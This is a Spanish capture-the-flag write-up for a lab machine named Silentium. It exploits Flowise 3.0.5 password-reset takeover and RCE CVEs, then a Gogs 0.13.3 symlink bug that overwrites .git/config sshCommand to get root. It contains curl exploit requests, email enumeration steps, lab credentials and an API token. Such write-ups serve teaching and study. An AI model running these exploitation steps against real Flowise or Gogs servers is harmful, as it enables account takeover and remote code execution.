Al entrar, encontramos una página que anuncia que Silentium es una “entidad financiera institucional que ofrece préstamos estructurados, crédito privado y soluciones de capital a medida a contrapartes cualificadas de todo el mundo.”
Además, ofrecen una calculadora para calcular amortizaciones de préstamos en un número de períodos determinados.
Si por curiosidad calculamos el interés anual, vemos que
<!DOCTYPE html><htmllang="en">
<head>
<title>Flowise - Build AI Agents, Visually</title>
<linkrel="icon"href="favicon.ico" />
...
<metaproperty="og:url"content="https://flowiseai.com/" />
<metaproperty="og:title"content="Flowise - Build AI Agents, Visually" />
<metaproperty="og:description"content="Open source generative AI development platform for building AI agents, LLM orchestration, and more" />
<metaproperty="twitter:url"content="https://twitter.com/FlowiseAI" />
<metaproperty="twitter:title"content="Flowise - Build AI Agents, Visually" />
<metaproperty="twitter:description"content="Open source generative AI development platform for building AI agents, LLM orchestration, and more" />
<metaname="twitter:creator"content="@FlowiseAI" />
...
</html>
El código fuente indica que se trata de FlowiseAI, que según su propia página se describe como lo siguiente:
Flowise es una plataforma de desarrollo de IA generativa de código abierto para construir Agentes de IA y flujos de trabajo con modelos de lenguaje (LLM).
Si buscamos más acerca de esta versión, vemos que casualmente cuenta con un CVE (CVE-2025-59528) con CVSS 10.0 CRITICAL:
In version 3.0.5, Flowise is vulnerable to (unauthenticated) remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation. Specifically, inside the convertToValidJSONString function, user input is directly passed to the Function() constructor, which evaluates and executes the input as JavaScript code…
Es decir, cualquier atacante con acceso al endpoint /api/v1/node-load-method/customMCP puede explotar la vulnerabilidad. El problema es que de momento no tenemos acceso, pues necesitamos un API token, y para ello necesitamos iniciar sesión.
De hecho, podemos probar a ejecutar un exploit sin autenticarnos previamente. En el report del CVE en Github encontramos un ejemplo de PoC que podemos modificar:
Si buscamos en la documentación de Flowise, vemos que existe un endpoint /api/v1/account/register que permite registrar un nuevo usuario. Aunque por motivos obvios esto debería estar limitado, el endpoint es accesible por defecto para permitir la creación de la cuenta del primer administrador.
Si probamos a mandar una solicitud al endpoint, recibimos lo siguiente:
1
2
$ curl -X POST http://staging.silentium.htb/api/v1/account/register
{"statusCode":400,"success":false,"message":"You can only have one organization","stack":{}}
Tras probar con requests con datos válidos, veo que este error no es porque no tengamos permisos, sino porque, al parecer, Flowise bloquea el endpoint automáticamente cuando se crea la primera cuenta de administrador, así que nuestra vía no es esta.
Si miramos la versión 3.0.5 de nuevo, vemos que no solo tiene ese CVE, sino que tiene otros varios más (y graves). Uno de SSRF, otro de XSS, y el relevante, uno de robo de cuentas con CVSS 9.8: CVE-2025-58434.
Según el report de Github:
The forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover.
En resumen, el endpoint /api/v1/account/forgot-password, que acepta un email como input:
Devuelve respuestas diferentes en función de si el email existe o no (permitiendo enumerar usuarios)
Devuelve (cuando el email existe) un token que permite cambiar la contraseña directamente en /api/v1/account/reset-password
Como tendremos que probar con varios emails, podemos copiar una wordlist de usuarios comunes, añadir @silentium.htb al final de cada uno, y probar con todos. Primero creamos la wordlist:
1
2
3
4
5
6
# Copiamos 2 wordlist a un archivo$ cp /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt wordlistemails.txt
$ cat /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt >> wordlistemails.txt
# Añadimos el sufijo @silentium.htb$ sed -e 's/$/@silentium.htb/' -i wordlistemails.txt
Ahora probamos con un usuario que no exista para ver qué se nos devuelve:
1
2
3
4
5
6
7
$ curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \ -H "Content-Type: application/json"\
-d '{"user":{"email":"admin@silentium.htb"}}'HTTP/1.1 404 Not Found
...
{"statusCode":404,"success":false,"message":"User Not Found","stack":{}}
Ahora probamos a iniciar sesión con las credenciales ben@silentium.htb:password, y finalmente tenemos acceso:
Nota: Sobrecargando la DB
Aunque en el writeup se muestra un inicio de sesión limpio (Cambiar contraseña -> Iniciar sesión), en realidad probé a cambiar la contraseña de ben varias veces antes. Esto llevó a un bloqueo de SQLite que al final me obligó a reiniciar la máquina porque no podía iniciar sesión, como se ve aquí:
Una vez dentro, vamos a API Keys, y ahí creamos una clave nueva. Ahora sí podemos usar el exploit. Con la clave ya introducida y el listener en escucha, mandamos la solicitud:
Ya con acceso a un shell, el objetivo ahora sería encontrar las credenciales originales de ben u otras que nos permitan iniciar sesión en su cuenta, p.ej por SSH.
Si probamos a iniciar sesión por SSH con la primera…
1
2
3
4
5
6
7
8
9
10
11
$ ssh ben@silentium.htb
The authenticity of host 'silentium.htb (10.129.26.68)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'silentium.htb' (ED25519) to the list of known hosts.
ben@silentium.htb's password: r04D!!_R4ge
...[SNIP]...
ben@silentium:~$
ben@silentium:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"...
ben@silentium:~$ uname -a
Linux silentium 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
Tras buscar en Internet, la versión del kernel parece no ser vulnerable.
Permisos sudo
1
2
3
ben@silentium:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on silentium.
Archivos con SUID bit
1
2
3
4
ben@silentium:~$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/umount
... # Nada fuera de lo común
Puertos locales en escucha
1
2
3
4
5
6
7
8
ben@silentium:~$ netstat -tunlp | grep 127.0.0.1
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 00 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:1025 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:36523 0.0.0.0:* LISTEN -
tcp 00 127.0.0.1:8025 0.0.0.0:* LISTEN -
Para ver qué hacen, hacemos port forwarding de cada uno de ellos y los escaneamos.
1
2
3
4
$ ssh -fN -L 3000:localhost:3000 -L 3001:localhost:3001 -L 1025:localhost:1025 -L 36523:localhost:36523 -L 8025:localhost:8025 ben@silentium.htb
ben@silentium.htb's password: ...
$ for i in {3000,3001,1025,36523,8025}; do (curl -v --connect-timeout 3 --max-time 3"localhost:$i" > "silentium/port$i"); done
Si vamos mirando la respuesta de cada uno:
tcp/3000 da timeout (sin respuesta)
tcp/3001 devuelve 200 OK
tcp/1025 devuelve error, es ESMTP MailHog
tcp/36523 devuelve 404 Not Found
tcp/8025 devuelve 200 OK
Dicho esto, podemos hacer un scan con nmap, excluyendo el puerto 3000.
Si añadimos nuestro nuevo subdominio a /etc/hosts, y luego entramos desde el navegador, vemos un entorno de Gogs, aparentemente un servidor de Git.
Ahí encontramos un usuario ben, pero no tiene ningún repositorio público, aunque podemos probar con las 2 contraseñas que teníamos antes, a ver si se reutiliza alguna: r04D!!_R4ge y F1l3_d0ck3r, pero no hay suerte:
Aunque, si supuestamente tenemos acceso al email de Ben (MailHog), podríamos solicitar un cambio de contraseña desde Forgot password?, pero tampoco tenemos suerte:
Sin la posibilidad de cambiar la contraseña de ben (otra vez), y sin poder ver las versiones de Gogs o MailHog, solo nos queda buscar los archivos locales. Si echamos un ojo a /opt veremos los archivos de Gogs y los de MailHog.
Podemos confirmar que MailHog se ejecuta en un container mirando el árbol de procesos, aunque ya lo podíamos haber sospechado al encontrar las contraseñas de Ben:
ben@silentium:/opt$ cd gogs/
ben@silentium:/opt/gogs$ ls -l
drwxr-x--- 3750 root 4096 Apr 8 09:41 custom
drwxr-x--- 2750 root 4096 Apr 8 17:46 data
drwxr-xr-x 6 root root 4096 Apr 8 09:41 gogs
drwxr-x--- 2750 root 4096 Apr 12 07:02 log
# Solo podemos ver ./gogs/ben@silentium:/opt/gogs$ cd gogs/
ben@silentium:/opt/gogs/gogs$ ls
custom data gogs LICENSE log README.md README_ZH.md scripts
Aquí podemos ejecutar el binario para ver qué versión tiene:
1
2
ben@silentium:/opt/gogs/gogs$ ./gogs --version
Gogs version 0.13.3
Y…
CVE-2025-8110 (RCE mediante Symlink): Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code.
CVE-2025-64111 (RCE por parche insuficiente): In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it’s still possible to update files in the .git directory and achieve remote command execution.
Además, si miramos quién ejecuta Gogs:
1
2
ben@silentium:/opt/gogs/gogs$ ps aux | grep gogs
root 1529 0.0 1.8 166513272992 ? Ssl 07:02 0:04 /opt/gogs/gogs/gogs web
Así que parece que hemos encontrado el camino correcto.
Probamos con CVE-2025-8110. Como podemos ver aquí, el método para explotarlo es el siguiente:
Crear repositorio de git
Poner un enlace simólico apuntando a un archivo objetivo cualquiera y subirlo.
Usar el endpoint PutContents para modificar datos del Symlink, lo que hará que el SO siga el enlace y modifique el archivo al que apunta
Si ese archivo es .git/config, podemos modificar el parámetro sshCommand para hacer que el sistema ejecute comandos arbitrarios.
Nota: Motivo del Exploit
Modificar .git/config es muy fácil, qué nos impide poder cambiar nosotros mismos el sshCommand en .git/config localmente y subirlo al repositorio para obtener el RCE directamente? Por qué molestarnos tanto subiendo el symlink? Aquí la respuesta es que hay 3 cosas que git no sube o sincroniza entre cliente y servidor: .git/config, .git/hooks y los logs de la terminal. Si lo hiciese, absolutamente todo servidor de Git: Github, Gitlab, Gitea, y todo lo que empezase por Git (o Gogs), sería vulnerable a RCE porque cualquiera podría modificar su config y subirla al servidor. En definitiva, .git/config es un archivo local que crea el servidor para sí mismo al subir nuestro repo.
Si ahora miramos el repositorio, vemos que ya se ha subido el Symlink:
Ahora tenemos que solicitar una modificación en nuestro Symlink, para poder modificar el archivo al que apunta. Esto lo hacemos a través del endpoint /api/v1/repos/<owner>/<repo>/contents/<filepath> usando PUT:
1
2
3
4
5
# Primero sacamos el hash del archivo a modificar (necesario en Gogs)git ls-files -s cosas.txt
120000 74a16c50bb417b927af27e37af24480f00ed5232 0 cosas.txt
curl -u username:password -X PUT http://staging-v2-code.dev.silentium.htb/api/v1/repos/username/testRepo/contents/cosas.txt -H "Content-Type: application/json" -d '{"message":"test","branch":"master","sha":"74a16c50bb417b927af27e37af24480f00ed5232","committer":{"name":"username","email":"user@name.com"},"content":"CONTENIDO_EN_BASE64"}'
Para CONTENIDO_EN_BASE64 escribimos algo así en un archivo cualquiera y luego lo codificamos:
Nos da 401 Unauthorized, aunque posiblemente se deba a que para operaciones como esta, en APIs, se prefiere (y se obliga a) usar Tokens en lugar de autenticación básica como la que hemos usado. Si vamos a User -> Settings -> Applications podremos crear un token.
Copiamos su valor 2b4ec59e94ca7020cc56f40b9c6d7da1c1897619 y modificamos la solicitud:
1
2
3
4
5
6
7
8
9
10
curl -v -X PUT http://staging-v2-code.dev.silentium.htb/api/v1/repos/username/testRepo/contents/cosas.txt -H "Content-Type: application/json" -H "Authorization: token 2b4ec59e94ca7020cc56f40b9c6d7da1c1897619" -d '{"message":"test","branch":"master","sha":"74a16c50bb417b927af27e37af24480f00ed5232","committer":{"name":"username","email":"user@name.com"},"content":"W2Nvcm...Rlcgo="}'...[SNIP]...
* upload completely sent off: 682 bytes
< HTTP/1.1 500 Internal Server Error
< Server: nginx/1.24.0 (Ubuntu)
...[SNIP]...
* Connection #0 to host staging-v2-code.dev.silentium.htb:80 left intact{"message":"Something went wrong, please check the server logs for more information.","url":"https://github.com/gogs/docs-api"}
Y nos ha dado error, como debería. Ahora, si vamos a /bin/bash deberíamos ver el bit SUID puesto.
1
2
ben@silentium:~$ ls -l /bin/bash
-rwsrwsrwx 1 root root 1446024 Mar 312024 /bin/bash
Y efectivamente está ahí, así que lo ejecutamos…
OS: Linux | Dificultad: Easy | Conceptos: Enumeración de vhosts, Reutilización de credenciales, Authenticated RCE, Análisis de código fuente, Path Traversal, Timers de Systemd, Creación de objetos Git